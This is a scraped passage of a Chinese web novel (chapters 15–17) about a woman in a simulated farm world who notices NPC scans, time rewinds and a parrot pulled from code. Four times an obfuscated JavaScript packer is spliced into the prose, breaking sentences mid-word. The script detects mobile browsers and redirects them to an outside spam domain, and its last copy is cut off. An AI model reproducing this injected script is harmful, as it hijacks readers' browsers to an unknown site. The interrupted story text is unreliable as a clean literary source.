她停在一丛蓝莓旁,头脑中仍回想着碧翠丝的话,直到她采下第一颗蓝莓,指尖真实的触感才令她回到当下。 她将揪下的第一颗蓝莓拈在指尖查看,果实蓝晶晶的,不太深,裹着一层薄薄的果霜,送进嘴里一口咬下,清甜味在唇齿间弥漫开。品尝完毕,她也加入专注采摘蓝莓之列。 蓝莓一直延绵向小山岗的顶端,途中,路易莎又打来两只野松鸡,在贝拉连连的欢呼中,一行人抵达了山顶。 碧翠丝在一棵茂盛的山毛榉树下铺上亚麻布,取出篮子里的黑面包和蓝莓摆放好。贝拉大约是累了,在树荫下席地而坐,麦克斯无精打采地趴在她身旁。胡丽安在呼唤落在后面的西塔和奥古斯特。珍妮特则沿途收集了一些干柴,准备在岩石旁生火烤肉,路易莎和卢锡安则她旁边处理着两只松鸡…… 而孔映,从她来到山顶后她便站定在几丛攀附在岩石旁的蓝莓后,静静望向峡谷里。 这并不合理。 那种赋予这个世界真实性的「合理化」似乎遗忘了这里,明明只是座不高的小山岗,但峡谷陡峭得近乎深不见底。 日光没有驱散谷中漂浮着的浓雾,奇异的雾霭同样笼罩着峡谷的另一侧,灰扑扑的,如同盖住蓝色远山的一层果霜。 孔映盯上一阵,抬脚走向山崖边一棵马尾松下,刚走出几步,就听见路易莎从身后叫她。 “克莉丝塔!” 她回过头,路易莎竟连松鸡也顾不得,交给卢锡安后径直朝她小跑来。她看起来异常紧张,孔映不由得问她:“怎么了,路易莎?” “不要靠近崖边,很危险。” “我还没有靠近。”孔映下意识否认,突然间又想起碧翠丝的话来,于是说道,“路易莎,你对我担心过度了,我当然知道崖边很危险,我会小心的。” “这不一样,”路易莎正色,反驳说,“山崖是连妈妈都觉得危险的地方,出发前她还特意叮嘱我不要靠近。” 孔映回想起临行前多萝西娅曾叮嘱路易莎记住她的话,原来就是提醒她远离山崖吗? “还是回树下坐着吧!”路易莎上前来拉住她,不由分说地带她回到山毛榉树下,“我和卢锡安很快就能烤好鸡和兔子,在此之前可以先吃点浆果。” 同时回来树下的还有西塔和奥古斯特,西塔小心翼翼兜着她的罩衫裙摆,走来餐布前缓缓抖落里面的东西。 “文森特小姐,我采了些蘑菇,也许可以一起烤来吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662380|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说。 路易莎蹲下查看,最后一笑:“西塔,这些蘑菇很漂亮,但你最好问问胡丽安可不可以吃。” 她偏头看去山径上,胡丽安独自朝她们走来,见她左右探看,问道:“胡丽安,你在找什么?” “当然是阿祖拉,他和我的药箱一起不见了。” 众人:“……” 不好!忘记他了! 路易莎即刻起身朝山下唤了几声,声音清晰可闻,但矮林间并未传来任何回响,唯有动物传出阵阵窸窣声。 “我去找他!”路易莎这样说。 “我也去。”卢锡安丢下手头的东西。 就在孔映犹豫要不要起身跟去时,一丛黑越橘灌木后突然传出响动,众人警觉看去,只见其后钻出个黑头发的青年来。 他的黑发上挂着几片叶子,想来是在灌木间穿梭行走时捎带上的,肩头挎着胡丽安的药箱,怀中则揽了一抱鲜亮的野苹果。 他在众人的注视下走来树下,将满怀的苹果倾倒在餐布之上,解释道:“路上看见棵苹果树,去摘了些果子。” “好吧阿祖拉,我们还以为你走丢了。” 阿祖拉没再开口,只是放下药箱到一旁坐下,像是什么都没发生一样。 路易莎耸耸肩,又和卢锡安前去准备烤肉,碧翠丝也跟他们去往岩石旁。 “胡丽安阿姨,文森特小姐说我的蘑菇很漂亮,但她让我问问你它们能不能吃。”西塔继续关心她的蘑菇。 胡丽安只是看上一眼便深感抱歉:“很遗憾,西塔,这些漂亮蘑菇的确都是毒菌。” “……” 西塔失落之际,又听她接着说:“但不用难过,它们的毒素还可以用来研制药物,也许能帮到大忙呢。” 西塔遂又双眼一亮,恢复成往日的冷静模样,说到:“胡丽安阿姨,贝拉好像睡着了,我们去看看吧。” 胡丽安看了看树下另外两人,微微一笑,随后带上西塔前去另一棵树下查看贝拉。奥古斯特没再跟上西塔,转而走到孔映身旁安静趴下,似乎也已经精疲力尽。 一阵山风吹来树下,果香扑鼻。 孔映低头看向面前的野苹果堆,从中挑出颗泛着粉红的青苹果嗅了嗅,然后用手帕擦擦果皮,咬上一口。 果肉清脆,清甜中夹杂一丝酸涩,孔映对着咬了一口的苹果愣了愣神,似乎觉得这场景很熟悉。下个瞬间,她鬼使神差地转过头,一旁坐着的阿祖拉立刻转过目光。 孔映心底蓦地咯噔一下。 这一幕也有些熟悉。 “因为阿祖拉喜欢的另有其人呢。” 来的路上她听见了胡丽安的话,一个念头在那时变得清晰—— 也许她就是胡丽安口中的另有其人,换句话说就是,阿祖拉喜欢她。 当然,「她」是指这副身体原本的主人。 这并非是她“自”作多情,证据就是阿祖拉的眼神。无论是在火车站,还是几天前在篱笆前,又或是早晨在胡丽安的农舍时,他总是用一种复杂的眼神看她,似乎有千言万语,但这些话语又出于某种原因不能告诉她那般。 而眼下,他又在偷看她。 孔映捏紧了苹果,若有所思盯紧他。 那天在篱笆前他们曾有过短暂的对话,他回答说他不知道他是否认识她,可是怎么会有人不知道自己是否认识另一人呢?除非…… 除非他已经在怀疑她并非是「她」。 终于,她开口问他:“你知道我不是她,对吗?” 15.一五 阿祖拉蓦地转过头来,眼神竟意外锋利。 四目相对,静默瞬息,接着她听他否认道:“我不明白你的意思。” 孔映像是早料到这个回答,撇撇嘴角,低头对着手中的苹果说:“你这样会显得我总是在自说自话。” “抱歉。” “……”孔映默了默,“我会很困扰。” “为什么?” 阿祖拉一反常态地追问她,她却啃下一口苹果,没有应答。 事实上,她也在想这个问题。 她的大脑又一次不知疲惫地运转起来。她追寻起这种困扰的由来,最终将它归结于对于身份的困扰。 如果说前些天她对阿祖拉的烦恼来自于他可能知道「克莉丝塔」的真实身份的话,那么现在她对阿祖拉的烦恼就更多的来自于他甚至已经知道她并非「克莉丝塔」这回事。 这很曲折,偏偏阿祖拉又全然没有坦率的美德,他对此始终讳莫如深。 孔映为此深感矛盾—— 也许来自异世界的「孔映」可以声称她想做一个没有过去的人,但「克莉丝塔」呢?她本属于这里,是「孔映」侵占了属于她的躯体,使她既不存在于当下也不存在于将来。现在,她面临着一个知道「克莉丝塔」既往的人,还能替代她声称她不愿意存在于过去吗? “阿祖拉,我感觉到一种矛盾。”她吞咽下果肉,忽然说。 她记得刚来到这里时她也曾对路易莎这样说,那时她对真实和虚幻感到矛盾,而现在她对双重身份下某种情感的错位感到矛盾。 “我明白。” 他说得诚挚,以至于这话听起来丝毫不像是随口的安慰之语。 “……” 孔映噎了噎,但不是因为苹果。 “你明白什么了?” 阿祖拉似乎被她问住,双唇无声翕动下,沉默须臾才说:“明白你在矛盾。” 根本就是废话。 孔映忍不住近距离打量起他,起初眼带探究,到最后松解了眉头,抛开一切困惑陈述道:“你也同样在矛盾,阿祖拉。” “是。”他罕见地正面承认了一回事。 “你的矛盾是,你不愿意说明一些事,但却做不到永远都守口如瓶。” 孔映有意挑明,说完便从阿祖拉眼底捕捉到一丝急遽闪过的慌乱。她觉察到他隐约有种松动的苗头,乘机追问,“或者说,你并不甘心永远都守口如瓶,对吗?” 阿祖拉忽而拧起眉,明白过来她刚刚挑衅了他。 “你讨厌我这样揣测吗?” 她倏忽又放缓攻势,温和反问他。阿祖拉不自觉地否认:“不。” “那你为什么皱眉?被我说中了吗?” “我——” 他似乎想说什么,但突然之间像是有电流击中他,他打了个冷颤。他垂下头,黑发散乱盖住额头,但就连发丝都透露出他隐隐的躁动不安来。 孔映注意到他的变化,丢下手中半颗苹果,伸手探向阿祖拉的额头,在触碰到那略带凉意的皮肤后,他蓦然向后一避。 “你、你还好吗?” 阿祖拉的呼吸变得沉重,手指在轻颤,仿佛正忍耐着莫大的痛苦,但他眼神变得果决,盯紧她问:“你知道什么是「触发条件」吗?” 孔映赫然睁大眼睛:“为什么这样问?你是什么人?” “我不知道。”阿祖拉维持着向后躲避的姿态,额角渗出薄薄的汗,满目茫然,“不知道我究竟是什么,也不知道「触发条件」究竟是什么,我只能……” 电光石火间,他的轮廓边缘出现了某种晶体化,就仿佛他正在被世界抹除。孔映顿时心跳到嗓子眼里,压低声阻止道:“不用了阿祖拉,不用告诉我!” 他却固执地讲下去:“我只能在你触发了那个条件后给你——” 微风凝滞,果香消散。 孔映敏锐地意识到异象降临,短短一刹那间,她急切伸出手,捂住他的嘴。 他的话语就此打住,而她也就此失去了动作能力。 一切都像极了那天在火车站遇到自动捉虫机器人时,周围的一切都凝滞不动。 孔映仍能看见,看见一个穿长风衣并戴墨镜的男人凭空出现,看起来和火车站区块的机器人属于同个型号,而这证实了她的猜想。 他停在她的视野范围内,没有走动,唯有墨镜之上的字符串匆匆流动,似乎正在扫描。 她距离他太过遥远,无法看清他的扫描结果,但在无法测量的一阵停滞后,他安全返回空闲模式,原地淡去。 孔映恢复了知觉,苹果与蓝莓的气息在空气中重现,阿祖拉模糊的边界也恢复如常。 他怔怔然望着她。 “克莉丝塔?”同样怔怔望向她的还有岩石旁的路易莎,她面带担心地朝树下走来,困惑叫上声,“你捂着阿祖拉的嘴做什么?” 所有人的目光都聚焦来此。 孔映堪堪松了口气,默默收回手,心不在焉道:“他太吵了。” “……” 好没说服力。 果然,路易莎仿佛听到什么天大的怪事,狐疑歪了歪头。 阿祖拉这时迅速眨了两下眼,垂下头为她找补:“我在问她从前的事。” 路易莎恍然,向他道:“难怪嘛,不过克莉丝塔失去了记忆,这样的问题会让她困扰的。” “抱歉,我刚刚……”阿祖拉稍顿,“又让你感到困扰了。” 孔映低头不语,伸手摸向身旁的奥古斯特,它正抱着她先前丢下的半颗苹果缓慢啃食。 还是路易莎蹲下身安抚她:“克莉丝塔,你就原谅他吧。” 说完以手掩唇附到她耳畔低语,“他本来就不经常讲话,你这样会吓得他以后更不敢讲话的。” 孔映这才压住脑海里翻涌的思绪,随意说上句没关系,阿祖拉听后只是捂住心脏,似乎不明白那里为什么如此平静。 这时,珍妮特远远叫上声:“松鸡烤好了喔,午餐时间到!” 胡丽安唤醒了依偎在一起的贝拉和西塔,领着两个睡眼惺忪的小家伙和一只步伐沉重的古牧犬回到山毛榉树下,其余人也陆续围坐至餐布旁。 卢锡安和碧翠丝拎来烤好的兔子和松鸡,贝拉立时振奋精神,在分到一条烤兔腿后大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692761|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快朵颐起来。 西塔也分到了一条兔腿,但她先擦净一颗苹果吃,吃上几口缓缓清醒过来,扭头问坐在她左手边的阿祖拉:“阿祖拉,住在苹果街的人都很喜欢苹果吗?” 孔映坐在阿祖拉的另一侧,闻言同样转头看他。 苹果街? “不是所有人。”阿祖拉含糊回答她。 “好吧,但你应该很喜欢。”西塔说完又转头问右手边的胡丽安,“胡丽安阿姨,什么时候可以再带我们去镇上玩吗?” 正吃肉的贝拉忙抬起头附和,胡丽安遂和两个小家伙盘算起行程来。 另一边路易莎接过了话茬,似乎很惊讶地问阿祖拉:“原来阿祖拉你住在苹果街吗?我竟然一直以为你住在邮局。” 阿祖拉看向左手边,目光掠过孔映投向路易莎。 路易莎像是觉得那样说不够礼貌,解释道:“你知道的,就像克拉克住在火车站,鲁迪住在糖果店,我就以为你也一样……” “或许是我比较幸运。”阿祖拉声音低低的,像是说给自己听。 但路易莎还是听清楚这个回答,她展开笑颜:“那么阿祖拉,祝你永远幸运!” …… 午餐时光在一片祥和中结束,众人收好残局,整装下山。 路易莎决定在归途中多猎几只猎物送给大家,故而下山时迳自走去最前面。孔映像是因此得了机会,离开时有意落在人群后方,并对试图留在最后的某人说:“你也走去前面。” 阿祖拉犹豫会儿,抬脚走去山路上。 山顶空荡,孔映回转过身,不假思索地取出一颗苹果朝山谷里掷去。 如同没入一面垂直的湖,苹果在那里激起了几圈涟漪,一幕由字符组成的数据墙在雾霭之中显现,并随着苹果的没入波动着。 果然没猜错,山谷是地图的边缘。 “路易莎小姐!” “路易莎!” 山路上突然传来碧翠丝和卢锡安的慌乱的呼唤声,孔映骤然回身,心下油然生出的一阵不安促使她奋力奔向山路上。 人群还未走远,孔映追上时路易莎正坐在地上讪笑:“没事啦,只是突然眼前一黑,脚滑了一下。” 孔映攥紧手心,没说话。直到路易莎拍着屁股起身,并跳了两下证明她的确无大碍,她才回望一眼山顶方向。 她不确定是不是巧合,但心里的不安越发强烈,以至于下山途中始终眉心紧锁。 “思考太多会徒增烦恼哦。” 胡丽安不知什么时候落到她身侧,笑道。 孔映从满腹心事中回过神来,看向她。 “如果有什么不适,可以随时告诉我。无论是身体不适还是心绪不宁,我都会尽量想办法哦。” 她一如既往的笑意轻柔,但好像又话里有话。孔映捉摸不透,回答说:“我没事,多谢。” 胡丽安但笑不语,只是凭借她优越的身高抬手在她头顶轻轻一按,随后迈开长腿信步远去。 孔映怔在原地,下意识抬手摸了摸头顶。 也许不是错觉,这天的胡丽安比初次见她时更温柔,也更为熟稔。 16.一六 是落在老虎窗上的雨声惊醒了孔映,她睁开眼,头脑缓慢清醒,随后起身前往窗边。 窗外,往日所见的蓝橙色农舍和绵延的绿草地一起瑟缩进晨雾中,灰蒙蒙一片,模糊不清—— 现在,她想起来她讨厌雨天。 房间昏暗、世界无光、色彩虚假、呼吸不畅……她回想起她对雨天的种种评价,下意识蹙起眉头。此前她没想过这里也会有雨天,而那种「合理化」使雨天也无限真实,连气温也如此合理地凉了些许。 孔映后知后觉地觉察到凉意,低头看去,竟是赤脚踩在地板上。她退回床边的地毯上,套上一双织袜,并将搭在床尾的蓝色披肩裹到身上,这才前去梳洗。 难得她早起一天,这早下楼来时总算是见到了多萝西娅,她正蹲跪在壁炉前引火,专注得如同一只捕雀的猫,直到白桦树皮在壁炉里窜起火光,她才起身将火钩挂回炉边,拍了拍手上的灰。 “早安,多萝西娅。” 孔映在多萝西娅回身之际向她问好,声音不轻不重,不会惊吓到任何人。 多萝西娅见到她没有表露出诧异,也许是注意到她衣着单薄,说道:“来这边坐下吧,火很快就旺起来。” “路易莎呢?”孔映走到沙发旁问她。 “路易还没起床,下雨天她总是会睡到很晚。” 几乎总是睡到很晚的孔映不免有些心虚,故而趁势向雇主表达了歉意:“抱歉,这些日子我总是起很晚。” “你看起来是需要多休息会儿。” 多萝西娅似乎意有所指,话音刚落,一阵风忽地灌进屋子里来,孔映裹紧披肩看去门边。 凯文正从屋外回来,掩上房门,摘下油布斗篷挂在门廊处。像是在沉思,他瞧着比平时更加深沉,进屋后竟连头也不抬,径直走向厨房。 “凯文?”多萝西娅不禁唤他声。 凯文置若罔闻,多萝西娅当下发觉异样,跟了上去,离开时不忘留给孔映一个让她安心的眼神。 孔映接收到那道目光,按下疑虑坐去沙发上。 壁炉里橡木和白桦木在燃烧,仔细听会听见跃动的噼啪声,这样细微的声音抵消掉屋外淅沥的雨声。她望着变幻的火光,渐渐失神,不知过去多久,多萝西娅重新回到壁炉前。 她仰起头,问道:“文森特先生怎么样?” “他没事,只是有些眩晕。” 多萝西娅带来了两杯热苹果酒,说话间将其中一杯递给她。孔映道谢接过,看出她不愿多谈,便不追问。 多萝西娅坐到她对面,举着酒杯状若沉思,过上会儿,她毫无征兆地开了口:“克莉丝塔,如果你遇到什么古怪的现象,请告诉我。” 口吻有几分强硬。 孔映讶异看去对面。 “古怪的现象?你是指哪种古怪呢?” 多萝西娅目光沉静直视她,说:“比如,一些不可思议的感觉——某种无形的限制或者某种异常的波动,又或者突然间感觉自己忘记些什么。” 孔映呼吸微滞。 “为什么这么说?有什么奇怪的事发生吗?” “这很难解释,但如果你遇到无法理解的事,请不要害怕,告诉我。” 看来多萝西娅的确知道些什么。 这和她研制炸药有关吗,她该不该向她透露那些她遇到的古怪现象呢? “我——” “笃笃笃——” 一阵敲门声打断她们的对话。 谁会在下雨天来这里呢? 多萝西娅前去应门,孔映静坐在原处。她听见风进屋的声音,但许久都没能听见人声,不禁心生狐疑,裹上披肩起身。 玄关处,多萝西娅僵站在门框下,而她面前的门廊上竟是空无一人。 孔映的心跳瞬时漏了一拍—— 不对劲。 “多萝西娅?” 她呼唤着,伸手触碰向多萝西娅肩头,指尖堪堪触及便像是被吸入黑洞,整个世界倾斜、旋转、拉扯,最后崩解成一团灰雾。 她猛然深吸口气,睁开眼睛。 火光跳动,空气里是熟悉的苹果酒香,她回到壁炉前的沙发上,手正接过那杯多萝西娅递来的苹果酒。 这是第二次——来这里后第二次经历时间回溯。孔映想着,惊魂未定地抿了一口热酒,目光落向对面。 这一次不同。多萝西娅没有在坐下后对她说那段话,她眼神游离,好像灵魂尚未归位。 “多萝西娅?” “嗯?”多萝西娅恍惚回神。 “你还好吗?” 多萝西娅皱眉,眉宇间萦绕着一股似有若无的怀疑。她没有回答她,而是在沉默一阵后说道:“克莉丝塔,如果你遇到什么古怪的现象,请告诉我。” “为什么这么说?你遇到什么奇怪的事了吗?”孔映换了种问法。 “这很难解释,我刚刚就像是突然间忘记了些什么……”她说完,补充道,“如果你遇到无法理解的事,请不要害怕,告诉我。” “好。” 这一次,她答应下多萝西娅的话,但并没有敲门声响起。 “我好像听见敲门声了。” 多萝西娅留神细听,说道:“你听错了,也许是雨声。” “我去看看好了。” 她说罢兀自起身,任由披肩从沙发上滑落。 门被打开,冷风吹得她异常清醒,她左右扫视着,等待空无一物的门廊上出现某种东西。她可以肯定是某种东西的存在导致了多萝西娅和凯文的异样。 正这样想着,她意识到自己被冻结。 眼前依旧阴雨绵绵,世界仍在运转,唯有她失去行动力。 又是什么东西?它监控到了什么吗? 为什么这个世界频频波动,像是失去了稳定性?是因为她的到来吗? 一连串的疑惑浮现,孔映发现自己正在用力挣扎,但那股力量尚未寻找到突破口。 它在哪儿?她无法看见它吗? 不,一定能看见。 但不一定是用眼睛。 一道灵光乍现,随之涌动的力量驱使她闭上眼睛,顷刻间,她犹如置身某段漆黑梦境之中,不过这次她头脑清醒,站立其间,像是成为这片虚空的主宰者。 [DevTool] NPC_Profile_Scan v1.2.0 SCANNING: …… 泛着冷绿色光芒的字符开始在她眼前流动,她毫不费力地将所有的字符翻译为文字。 [开发者工具] NPC档案扫描 v1.2.0 扫描中…… 目标编号:NPC_#F030 姓名:未知 性别:女 年龄:18岁 角色:尤格利亚小镇居民 登记地址:苹果街 12号 当前位置:农场区块 03 状态:!区块不符 ……… 异常已标| 绿色字符在最后变成红色警告,孔映伸手穿过那行仍在生成中的代码,阻止它继续运行。 她的手掌仿佛成了那根闪烁的竖线,空间里因此穿过一阵古怪的电流声,然后是模糊得像是从几光年外漂浮而来的人声。 “找到了!可铮姐!涛哥!编号030——哇什么情况?”那声音起初兴奋不已,随后戛然而止,显然是发现了那根顽固的竖线并试图与之对抗。 孔映也同样僵停住,但仅仅是思绪凝滞。 她的第一重身份似乎有了眉目——尤格利亚小镇苹果街12号居民。 但为什么?如果她是小镇居民,为什么会从来自伊德尔镇的火车上下来? 掌心传来阵阵的酥麻感,微弱的电流刺激着孔映手心,她望着眼前的字符,忽然掌心横掠过那片字符。 如同积木坍塌,字符化作流沙堆积在一处。 “什么情况啊!救命啊可铮姐——” 宇宙尽头传来呼救声,孔映面无表情一抓,终于将那堆红绿交织的字符抓在手心,击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708009|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溃了整个空间。 雨声重新出现在耳畔,孔映还闭着眼睛,但似乎有什么轻盈而温热的东西残留在手心…… “克莉丝塔,怎么了?” 多萝西娅来到孔映身后,如同孔映先前来门边找她,不同的是孔映还清醒着。 她怔怔回过身,迟钝托起手中的一团东西来。 是只鹦鹉,像一颗红绿渐变的芒果,它的头顶有撮炸开的绿色绒毛,此时随着歪头的动作晃动着,嘴巴里吐出一连串人声:“很高兴认识你!Hola! Mucho gusto. 初めまして、どうぞよろしくお願いします!Enchantée !” 孔映:“……” 镇定如多萝西娅也露出几分惊愕,回神后说:“带它进来吧。” 孔映关上门,走回壁炉旁将鹦鹉放到沙发椅背上,接着离它远了些。 她不是故意的! 虽然破坏那串代码是有意为之,但莫名其妙抓回一只鹦鹉绝非她所愿。 果然雨天令人讨厌。 她讨厌麻烦。 她眉心皱得越发紧,摆出副退避三舍的姿态,倒是多萝西娅走近那只鹦鹉,捧起它研究起来。很快,她有所发现,陈述道:“羽毛干燥,并不是从雨里飞来的。” 那只鹦鹉飞出她掌心,在沙发罩上跳了两下。 多萝西娅又侧头看孔映,却见她脸色苍白:“你不舒服吗,克莉丝塔?” “多萝西娅,你认为它古怪吗?” “我会找时间研究下。” “我想和你一起,可以吗?” 多萝西娅稍加迟疑,道:“当然……不过还请你不要告诉路易和凯文,他们只需要知道你捡到只鹦鹉就好。” 孔映点点头,目光落回那只鹦鹉身上。 它歪了歪脑袋,又从沙发背上飞去矮茶几上。 不久后,凯文备好了早餐,由于路易莎会在雨天睡懒觉,他们没有人去叫醒她。 餐桌上,多萝西娅让那只鸟停在她手上啄食燕麦碎,并眼带审视瞧它。 它似乎极兴奋,以至于啄食的动作像是在磕头,一边吃一边叽叽喳喳着:“非常感谢!?Gracias! ありがとう!Merci beaucoup!” 直到吃完那些燕麦碎,它才展翅飞向壁炉上,安静立在几只木雕旁,一副对人毫无威胁的模样。 早餐结束后,孔映自荐清洗餐盘,等她重回会客厅时,多萝西娅已经盘腿坐在壁炉前的羊毛地毯上,用雕刻刀篆刻一块木头,凯文在仔细擦拭那把墙上取下来的猎枪,而那只鹦鹉,异常安静地立在矮茶几上。 孔映缩回最初的沙发上坐下,淡淡的橡木香在室内弥漫开。 静默一直维系到路易莎醒来,屋中终于像以往那样热闹起来。鹦鹉斑斑的到来同样也引起了路易莎的好奇,而「斑斑」正是路易莎为它起的名字。 斑斑停在路易莎膝上,任由她抚摸,偶尔冒出一两句人话来。 “路易莎!Farmland Sector!” “001!002!004!Where is 003?” “真是只奇怪的小东西……但它和奇奇差不多有趣!”路易莎说着转头问,“对了爸爸,你知道农场里有谁在养鹦鹉吗?” “我只能想到皮尔斯在养鸽子……”凯文说罢起身问道,“你们想吃饼干吗,我打算烤些全麦饼干。” “为我做一些奶酪司康。”潜心雕刻的多萝西娅说道。 “可是爸爸,我更想吃燕麦饼干,你呢,克莉丝塔?” “我随意。” “Something Wrong!” 斑斑突然扯着嗓子怪叫,但无人理睬它。路易莎已经计划起别的事来:“克莉丝塔,下次去镇上时我们带斑斑去见奇奇吧。” 带一只鸟去见一只猫。 还真是个好主意啊。 孔映闻言终于微微一笑:“好啊。” 也顺道去趟苹果街好了。 17.一七 路易莎蓦地放下摩挲已久的棋子,孔映因此抬眼看她。 时已入夜,多萝西娅与凯文已经回屋休息,只有她们还留在壁炉前玩着跳棋。 “克莉丝塔——”静默已久的壁炉前,路易莎的声音倏忽响起。孔映眨眨眼睛,只见路易莎托腮直视向她,“我想是时候告诉你我的想法了。” 孔映同样放下棋子,支起下颌,注目倾听。 “也许你并不想谈及这个话题,但不说的话我想我会一直苦恼下去……”路易莎眉目专注,又显得困惑,“克莉丝塔,我认为我之前对你说过的一些话实在太自以为是了。” “什么话?” 路易莎并没有直接回答她,而是咬了咬唇,絮语般说起:“是胡丽安让我萌生了这些想法,就在去格拉斯农场的路上,我突然意识到她在某种程度上和你一样,她也在逃避从前的记忆,或者说掩藏从前的记忆……那时候我才想,也许你才是对的——如果从前的记忆都很糟糕,那么忘掉才正好。” “是吗?” “嗯?” 孔映的叩问轻得像是在怀疑,路易莎不禁错愕疑问声。 “是这样吗?”她接着反问她,“即使那是逃避,即使那会忘掉生命里很重要的人,包括忘记从前的自己也没关系吗?” “唔,就像你说的,也许那些已经没必要再追究——如果遗忘会让现在的你拥有快乐,那么过往就没那么重要了。” 路易莎起初以一副并不坚定的口吻回答,但渐渐的像是说服了自己,越说越笃定,“而且,就算遗忘掉过去也可以重新拥有一份新的记忆,不是吗?就像你之前告诉我的那样,你开始拥有越来越多的属于克莉丝塔的记忆,在文森特农场的记忆,这些新的记忆正在组成新的你。” 说罢垂下手臂耸了耸肩,“而我,因为拥有幸福的记忆,所以总是在劝说你不要害怕从前,这实在是太自以为是了。” 并非每个人都拥有幸福的记忆,如果她们拥有糟糕的回忆,那么遗忘掉从前不正好能步入新生吗? 她做完最后的陈词,又捡起棋盘边缘的棋子轻轻转动,像是有些紧张地看孔映,孔映却没有立刻回应她。 空气因此重归静谧,屋外雨声依旧,壁炉内融融火光映照着两个女孩。 良久,孔映低叹声:“可是路易莎,我现在不确定我从前的说法究竟是对还是错。” 路易莎歪了歪头。 “为什么这么说?” “因为,我意识到了过去的存在。” “我不明白。”路易莎困惑无比地皱起眉,“过去当然存在。” “所以,即使遗忘了过去,过去也依旧留有痕迹,这种存在的痕迹始终潜伏在某个地方,左右我,麻烦我……我讨厌麻烦。” 无论是「克莉丝塔」的过去,还是「孔映」的过去,都以各自的存在痕迹左右着她当下的生活。似乎她的每个选择、每次犹疑甚至那些隐秘的不安都由过去留下的某种痕迹左右着。 她终于认识到,当麻烦足够大时,即使她缩在迷雾中,麻烦也依旧能渗进雾里,她无处可逃。 “过去的痕迹?”路易莎喃喃重复声,“你想起来什么了吗?” “不是想起来,而是发现—— “最近有越来越多的痕迹出现在我面前。” 多到几乎像是在引导她追寻过去。如果说她一开始希望阿祖拉永远缄口不言,是觉得她还能装作若无其事的话,那么在经历了和阿祖拉的对话后她就再也做不到视若无睹,更何况,她今天还抓来一只异度空间的鹦鹉。 这一切都让她感到思绪凌乱,因此她在雨天的壁炉前思考了整日,而路易莎突如其来的观点重申让她越发怀疑逃避过往的可取性。 “什么样的痕迹?”路易莎忙追问她。 “路易莎,我想我暂时不能告诉你,这是我自己的问题。” “可是——” “或许,你还记得碧翠丝的话吗?” 路易莎凝起眉来,显然是回想起碧翠丝所说的监护者言论。她无意识地用棋子敲点起膝头,终究还是吞回未尽的话语,闷闷不乐地低下头。 孔映望着她低垂的头颅,不禁微微一笑,安抚般问道:“路易莎,每个人都有自己的秘密,对吗?” “可我对你没有秘密!”路易莎下意识抬头反驳她。 “你忘了,你没有告诉我大盗安娜的事。” “唔……”路易莎哑口,即刻说,“除了这件事,一定不会有第二个秘密了!” “不,我认为还有。” “什么?” 孔映定睛看她:“很多时候你想说一句话,但始终没有告诉我。” 路易莎一怔,片刻后低垂眉眼,将棋子紧紧攥在手心。许久,她才低声说道:“好吧,我承认……但我不能说出来。” “为什么?” “没有为什么,”她固执地说,“我只是知道我不该说。” 孔映没再追问下去,当下转过话语:“路易莎,等我想得再清楚些,我会告诉你我的想法。” 而现在,她或许只是想试着走出其中一层迷雾,追寻属于「克莉丝塔」的过去…… - 雨在夜里停下。 翌日一早,两个女孩前往后院查看她们的种子。路易莎的两株嫩苗似乎长高了些,孔映的两个泥人则早已自身难保,更不要提帮她照料两颗未发芽的种子的话。 孔映对着化掉的泥人默哀会儿,随后为它们堆上一层肥,路易莎见状在一旁笑道:“好了,克莉丝塔,是时候去整理订单了。” 她恢复了往日的精气神,丝毫看不出昨夜还生过一阵闷气。 孔映扭过头看她,弯眼一笑:“抱歉,路易莎,我今天不能和你一起。” “为什么?”路易莎大惊,“难道你生我的气了吗?” “当然不是,我只是先接受了多萝西娅的邀请。”她在路易莎的疑惑的注视下解释道,“昨天你还在睡觉时,她已经邀请我今天去她的工具房。” 路易莎立时瞪大眼睛:“太好了克莉丝塔!可是,你们要一起做什么呢?” 当然是一起研究斑斑。 但她不能告诉她,只是说:“这取决于多萝西娅。” 路易莎欣慰并羡慕着,出发前仍念叨道:“等我处理完订单就立刻回来找你们!” 她像是等不及,即刻动身前去仓库,孔映则在她离开后走向那间鲜花环绕的小木屋,叩响门环。 “请进。” 木屋内传出多萝西娅含糊的声音,孔映推动木门,继而久违地体验到那种飘渺感。就在意识尚未归位的空隙中,一道声音在耳畔轻轻回响—— “不,她不是一粒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 